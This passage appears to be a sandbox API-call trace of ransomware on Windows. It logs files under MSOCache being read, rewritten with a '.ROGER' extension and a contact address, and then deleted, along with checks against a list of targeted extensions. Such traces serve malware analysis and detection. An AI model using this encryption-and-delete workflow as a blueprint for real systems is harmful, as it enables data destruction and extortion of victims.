GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=526176) returned 1 [0046.295] CloseHandle (hObject=0x35c) returned 1 [0046.296] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0046.296] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0046.296] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.296] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.297] GetLastError () returned 0x0 [0046.297] ReadFile (in: hFile=0x35c, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x80760, lpOverlapped=0x0) returned 1 [0046.309] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0046.318] ReadFile (in: hFile=0x35c, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.318] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.318] SetEndOfFile (hFile=0x3dc) returned 1 [0046.318] CloseHandle (hObject=0x3dc) returned 1 [0046.318] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.318] SetEndOfFile (hFile=0x35c) returned 1 [0046.323] CloseHandle (hObject=0x35c) returned 1 [0046.323] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.323] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0046.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.323] lstrlenW (lpString=".doc") returned 4 [0046.323] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.323] lstrlenW (lpString=".docx") returned 5 [0046.323] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.323] lstrlenW (lpString=".pdf") returned 4 [0046.323] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.324] lstrlenW (lpString=".xls") returned 4 [0046.324] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.324] lstrlenW (lpString=".xlsx") returned 5 [0046.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.324] lstrlenW (lpString=".ppt") returned 4 [0046.324] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.324] lstrlenW (lpString=".zip") returned 4 [0046.324] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.324] lstrlenW (lpString=".rar") returned 4 [0046.324] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.324] lstrlenW (lpString=".bz2") returned 4 [0046.324] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.324] lstrlenW (lpString=".7z") returned 3 [0046.324] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.324] lstrlenW (lpString=".dbf") returned 4 [0046.324] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.324] lstrlenW (lpString=".1cd") returned 4 [0046.324] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.324] lstrlenW (lpString=".jpg") returned 4 [0046.324] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.324] lstrlenW (lpString=".doc") returned 4 [0046.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.326] lstrlenW (lpString=".docx") returned 5 [0046.326] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.326] lstrlenW (lpString=".pdf") returned 4 [0046.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.326] lstrlenW (lpString=".xls") returned 4 [0046.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.326] lstrlenW (lpString=".xlsx") returned 5 [0046.326] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.326] lstrlenW (lpString=".ppt") returned 4 [0046.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.326] lstrlenW (lpString=".zip") returned 4 [0046.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.327] lstrlenW (lpString=".rar") returned 4 [0046.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.327] lstrlenW (lpString=".bz2") returned 4 [0046.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.327] lstrlenW (lpString=".7z") returned 3 [0046.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.327] lstrlenW (lpString=".dbf") returned 4 [0046.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.327] lstrlenW (lpString=".1cd") returned 4 [0046.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.327] lstrlenW (lpString=".jpg") returned 4 [0046.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.327] lstrcmpiW (lpString1=".manifest", lpString2=".ROGER") returned -1 [0046.327] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0046.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0046.327] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=1857) returned 1 [0046.328] CloseHandle (hObject=0x35c) returned 1 [0046.328] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0046.328] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0046.328] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.328] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.328] GetLastError () returned 0x0 [0046.328] ReadFile (in: hFile=0x35c, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x741, lpOverlapped=0x0) returned 1 [0046.330] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x750, lpOverlapped=0x0) returned 1 [0046.331] ReadFile (in: hFile=0x35c, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.332] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0046.332] SetEndOfFile (hFile=0x3dc) returned 1 [0046.332] CloseHandle (hObject=0x3dc) returned 1 [0046.332] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.332] SetEndOfFile (hFile=0x35c) returned 1 [0046.333] CloseHandle (hObject=0x35c) returned 1 [0046.333] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.333] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0046.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.333] lstrlenW (lpString=".doc") returned 4 [0046.333] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0046.333] lstrlenW (lpString=".docx") returned 5 [0046.333] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0046.333] lstrlenW (lpString=".pdf") returned 4 [0046.333] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0046.333] lstrlenW (lpString=".xls") returned 4 [0046.333] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString=".xlsx") returned 5 [0046.334] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0046.334] lstrlenW (lpString=".ppt") returned 4 [0046.334] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.334] lstrlenW (lpString=".zip") returned 4 [0046.334] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString=".rar") returned 4 [0046.334] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString=".bz2") returned 4 [0046.334] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString=".7z") returned 3 [0046.334] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0046.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.334] lstrlenW (lpString=".dbf") returned 4 [0046.334] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.334] lstrlenW (lpString=".1cd") returned 4 [0046.334] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.334] lstrlenW (lpString=".jpg") returned 4 [0046.334] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.334] lstrlenW (lpString=".doc") returned 4 [0046.334] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString=".docx") returned 5 [0046.334] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0046.334] lstrlenW (lpString=".pdf") returned 4 [0046.334] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0046.334] lstrlenW (lpString=".xls") returned 4 [0046.335] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString=".xlsx") returned 5 [0046.335] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0046.335] lstrlenW (lpString=".ppt") returned 4 [0046.335] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.335] lstrlenW (lpString=".zip") returned 4 [0046.335] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString=".rar") returned 4 [0046.335] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString=".bz2") returned 4 [0046.335] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString=".7z") returned 3 [0046.335] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0046.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.335] lstrlenW (lpString=".dbf") returned 4 [0046.335] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.335] lstrlenW (lpString=".1cd") returned 4 [0046.335] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0046.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.335] lstrlenW (lpString=".jpg") returned 4 [0046.335] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0046.335] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0046.335] lstrlenW (lpString="msvcr90.dll") returned 11 [0046.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0046.336] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=655872) returned 1 [0046.336] CloseHandle (hObject=0x35c) returned 1 [0046.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0046.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.539] GetLastError () returned 0x0 [0046.539] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0046.556] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0046.568] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.568] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.568] SetEndOfFile (hFile=0x3dc) returned 1 [0046.568] CloseHandle (hObject=0x3dc) returned 1 [0046.568] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.568] SetEndOfFile (hFile=0x358) returned 1 [0046.573] CloseHandle (hObject=0x358) returned 1 [0046.573] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.574] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0046.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.574] lstrlenW (lpString=".doc") returned 4 [0046.574] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.574] lstrlenW (lpString=".docx") returned 5 [0046.574] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.574] lstrlenW (lpString=".pdf") returned 4 [0046.574] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.574] lstrlenW (lpString=".xls") returned 4 [0046.574] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.574] lstrlenW (lpString=".xlsx") returned 5 [0046.574] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.574] lstrlenW (lpString=".ppt") returned 4 [0046.574] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.574] lstrlenW (lpString=".zip") returned 4 [0046.574] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.574] lstrlenW (lpString=".rar") returned 4 [0046.574] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.574] lstrlenW (lpString=".bz2") returned 4 [0046.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.575] lstrlenW (lpString=".7z") returned 3 [0046.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.575] lstrlenW (lpString=".dbf") returned 4 [0046.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.575] lstrlenW (lpString=".1cd") returned 4 [0046.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.575] lstrlenW (lpString=".jpg") returned 4 [0046.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.575] lstrlenW (lpString=".doc") returned 4 [0046.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.575] lstrlenW (lpString=".docx") returned 5 [0046.575] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.575] lstrlenW (lpString=".pdf") returned 4 [0046.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.575] lstrlenW (lpString=".xls") returned 4 [0046.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.575] lstrlenW (lpString=".xlsx") returned 5 [0046.575] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.575] lstrlenW (lpString=".ppt") returned 4 [0046.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.575] lstrlenW (lpString=".zip") returned 4 [0046.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.575] lstrlenW (lpString=".rar") returned 4 [0046.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.576] lstrlenW (lpString=".bz2") returned 4 [0046.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.576] lstrlenW (lpString=".7z") returned 3 [0046.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.576] lstrlenW (lpString=".dbf") returned 4 [0046.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.576] lstrlenW (lpString=".1cd") returned 4 [0046.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.576] lstrlenW 